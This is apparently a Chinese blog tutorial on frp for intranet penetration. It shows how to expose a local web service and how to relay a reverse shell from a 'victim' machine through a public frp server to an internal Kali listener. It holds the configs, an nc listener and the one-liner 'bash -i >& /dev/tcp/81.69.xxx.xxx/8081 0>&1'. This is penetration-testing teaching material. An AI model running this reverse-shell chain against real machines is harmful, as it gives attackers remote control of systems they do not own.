前言

关于内网穿透,了解内网知识的小伙伴应该都了解他的作用处

  1. 比如在独自开发过程中,你在本机搭建的网站无法被互联网上其他用户所访问,因为是属于内网的环境,只有跟自己本机处于同一内网中的机器才能访问,这时候就需要用内网穿透的方法将本机或本机某个端口穿透到公网上去,那么就可以被公网上其他用户所访问了;
  2. 在渗透测试过程中,当你外网打点进入你的目标后,但是服务器是在内网,你现在的问题是目标服务器在内网你无法去连接他,那么也是需要用内网穿透的方法,将目标服务器或服务器端口映射到公网上面,那么我们就可以直接去链接上去了。
  3. 抑或是对方服务器在公网,我们kali在我们的内网,那么我们也需要用内网穿透把kali给映射到公网上去连接。

PS:本篇文章涉及技术均为本地操作,请勿恶意使用。造成严重后果责任自负

内网渗透的常用方法

这篇文章主要会写frp进行内网穿透的方法,关于其他内网穿透的方法就很简单了,无非是借助一些图形化界面进行端口映射,相对来说较为简单,就不详细介绍了

注意:下方操作均为公网服务器开启8081和7000端口下进行操作,否则会失败

frp内网穿透实现转发服务

0x01什么是frp

frp采用了go语言进行开发的。支持tcp,udp协议。可以使用http和https应用协议。是一个具有反向代理的内网穿透工具。frp可以使用socks,类似于隧道通讯。

同时frp是使用了内网的全端口全流量的,跟端口转发不同的是,端口转发仅仅是做了端口的流量的转发,而frp是全端口流量转发,可以使用SocksCap或者Proxifier进行使用。

0x02frp工作原理

关于frp的工作原理,从这位师傅那里偷了张图,很好的解释了frp的工作原理; https://blog.csdn.net/yj222333

0x03前期准备

需要两台服务器,一台公网上的服务器,一台内网机器

公网服务器:81.69.xxx.xxx

内网服务器:192.168.158.128 我这里是一台内网kali,上面80端口开着apache

同时两台服务器都要有go环境以及frp的软件,这里大家自行根据自己的系统去下载下载,官方文档写的很详细;我这里两台机器都是Linux,所以都是下载的Linux的版本

go:https://go.dev/doc/install

frp:https://github.com/fatedier/frp/releases

0x04启动服务

云服务器上即服务端修改frps.ini文件

[common]
bind_port = 7000
vhost_http_port = 8081 //设置监听 HTTP 请求端口为 8081

本地服务器,也就是需要内网穿透的机器修改frpc.ini文件

[common]
server_addr = 81.69.xxx.xxx//这里就是你服务端,也就是你公网的ip
server_port = 7000

[web]
type = http
local_port = 80  //这里写你本地服务的端口,我这里是80
custom_domains = 81.69.xxx.xxx //可以写你的域名或者是ip

配置修改好后,首先启动服务端服务,也就是公网

./frps -c ./frps.ini

然后启动本地kali需要转发的服务后,那么你就会发现服务端也会变化,显示转发成功的信息

./frpc -c ./frpc.ini

下图是本地启动服务时,公网服务端返回的信息,可以看到出现了转发成功的提示

那么我们尝试服务端ip+端口访问是否出现服务端页面,发现出现了我们本地启动的apache的页面,那么说明我们的服务启动成功

那么就实现了我们内网不出网的服务器的服务可以暴露在公网上的目的了;

frp内网穿透实现反弹shell

0x01场景

  • 当我们kali处在内网的时候,是无法接收到公网其他服务器的shell的,那么就需要借助内网穿透的办法,通过公网frp服务器来进行转发,达到反弹shell的效果
  • 抑或是对方服务器处在内网,对方服务器shell无法弹出来,我们也需要借助frp服务器将目标服务器做一个内网穿透的效果,那么我们就可以去访问并接受弹回来的shell

0x02配置项

这里加一个受害机,也就是要去弹shell的机子,不需要配置什么东西,你可以用你的虚拟机或者其他机子

frp服务器端frps.ini

[common]
bind_port = 7000

客户端(kali)frpc.ini,关于这些端口后面会详细介绍

[common]
server_addr = 81.69.xxx.xxx
server_port = 7000

[msf]
type = tcp
local_port = 5555  
remote_port = 8081

0x03反弹shell

那么我们直接先开启frp服务端的服务

然后开启客户端,也就是kali

此时frp服务端也会显示连接成功的提示,例如我这里

kali开启监听,监听端口为上方frp设置的5555端口

nc -lvp 5555

那么现在frp和kali配置好了,我们再去受害机上执行我们反弹shell的命令;这里反弹的

bash -i >& /dev/tcp/81.69.xxx.xxx/8081 0>&1

那么当我们执行完命令后,kali上就会显示收到shell

可以看到是CentOS Linux 7的机器,也就是我们的受害机,同时看一下frp服务端的反应

提示get a user connection,也就是我们反弹shell的操作

0x04原理

当受害机执行命令弹shell的时候,弹的shell会先发送到frp服务端的8081端口,然后通过frp服务器转发到我们内网kali的5555端口上,从而获取到shell

这里我们配置的7000端口是frp服务的端口,意思是这个端口代表frp服务